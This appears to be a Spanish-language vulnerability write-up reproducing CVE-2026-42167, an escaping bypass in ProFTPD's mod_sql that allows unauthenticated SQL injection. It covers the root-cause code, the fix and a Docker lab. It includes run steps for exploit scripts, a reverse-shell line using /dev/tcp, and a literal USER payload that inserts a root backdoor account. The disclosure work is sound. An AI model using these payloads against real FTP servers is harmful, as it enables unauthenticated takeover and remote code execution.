
Reproducción independiente, análisis de causa raíz a nivel de código y redacción de exposición realista para CVE-2026-42167 (bypass de is_escaped_text() en mod_sql de ProFTPD).
mod_sqlReproducción independiente, análisis del código fuente a nivel de causa raíz y un
análisis de exposición franco para CVE-2026-42167 — el bypass de is_escaped_text() en
la canalización de registro de mod_sql de ProFTPD, divulgado por ZeroPath Research y corregido
en ProFTPD 1.3.9a / 1.3.10rc1.
Construido y verificado de extremo a extremo en Docker en macOS / Apple Silicon, 2026-04-29.
TL;DR — consulte Conclusión para conocer el panorama de exposición realista antes de decidir cuánto preocuparse. Este no es un error de instalación predeterminada, pero el patrón de comillas peligroso es el patrón que la documentación oficial recomienda usar, por lo que una gran fracción de las implementaciones de
mod_sqllo heredan.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (Inyección SQL), CWE-78 (Inyección de comandos del sistema operativo — vía COPY TO PROGRAM de PG) |
| Afecta | ProFTPD ≤ 1.3.9 con mod_sql + SQLLog/SQLNamedQuery cuya cadena de formato interpola una variable controlada por el atacante dentro de comillas simples |
| Corregido en | 1.3.9a (af90843ba…) / 1.3.10rc1, consulte el commit e6f728481 ("Issue #2052") |
| Commit vulnerable fijado | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Archivo vulnerable | contrib/mod_sql.c líneas 741–758 (is_escaped_text) y línea 777 (sql_resolved_append_text) |
| Divulgación original | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| PoC público | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Notas de versión | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() en contrib/mod_sql.cmod_sql resuelve las variables de formato de registro (%U, %{basename}, etc.) y
añade cada fragmento al SQL renderizado mediante sql_resolved_append_text().
Para preservar la compatibilidad con configuraciones de administradores que ya envuelven
variables en '…', la función llama a is_escaped_text() para decidir
si se necesita sql_escapestring:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
La comprobación es puramente estructural: no puede distinguir *"ya escapado por
código de confianza"* de *"diseñado por un atacante para parecer ya escapado".*
Cualquier valor proporcionado por el cliente que coincida con `'<no-internal-quotes>'` omite
`sql_escapestring` y se concatena en bruto en la consulta final.
La configuración estándar y documentada envuelve `%U` / `%{basename}` / `%m` entre comillas
simples:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Cuando el atacante envía USER '<payload>' (comilla inicial y final, sin
comillas internas), el resolvedor sustituye %U sin escapar, produciendo
''<payload>'' en el SQL — los literales de cadena vacía cierran las
comillas circundantes y <payload> se ejecuta como SQL crudo. Con PostgreSQL
(PQexec) y SQLite (sqlite3_exec), se admiten consultas apiladas, por lo
que <payload> puede ser cualquier secuencia de sentencias.
Debido a que SQLLog ERR_* se activa en inicios de sesión fallidos y %U
se establece desde USER antes de la autenticación, el ataque es
completamente no autenticado.
e6f728481, "Issue #2052")sql_resolved_append_text() gana un parámetro already_escaped. Los
llamadores que resuelven valores de entrada del cliente pasan FALSE y ahora
pasan por sql_escapestring incondicionalmente — la heurística
is_escaped_text() todavía se aplica para la ruta legítima de "config con
valor pre-escapado", pero ya no se aplica a datos controlados por el atacante.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Ambos contenedores se levantan mediante `setup/docker-compose.yml`.
- `setup/proftpd.conf` habilita la configuración de registro vulnerable (ver §1).
- `setup/seed.sql` crea `users`, `groups`, `activity_log`, `xfer_log`
y `secrets`, además de un único usuario FTP legítimo `ftpuser / ftppass`.
---
## 3. Reproducción — copiar y pegar
Requisitos previos: Docker Desktop, Python 3.10+, git. (`uv` es opcional; los
PoCs solo usan la biblioteca estándar.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
Las dos variantes interactivas en el repositorio upstream
(preauth_user_rce.py, postauth_stor_rce.py) no están modificadas y abren una
reverse shell respaldada por PTY. Usan la misma primitiva que la variante
marcadora — solo sustituye el comando de shell por bash -i >& /dev/tcp/<host>/<port> 0>&1 y escucha en <port> primero.
USER, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Por qué funciona: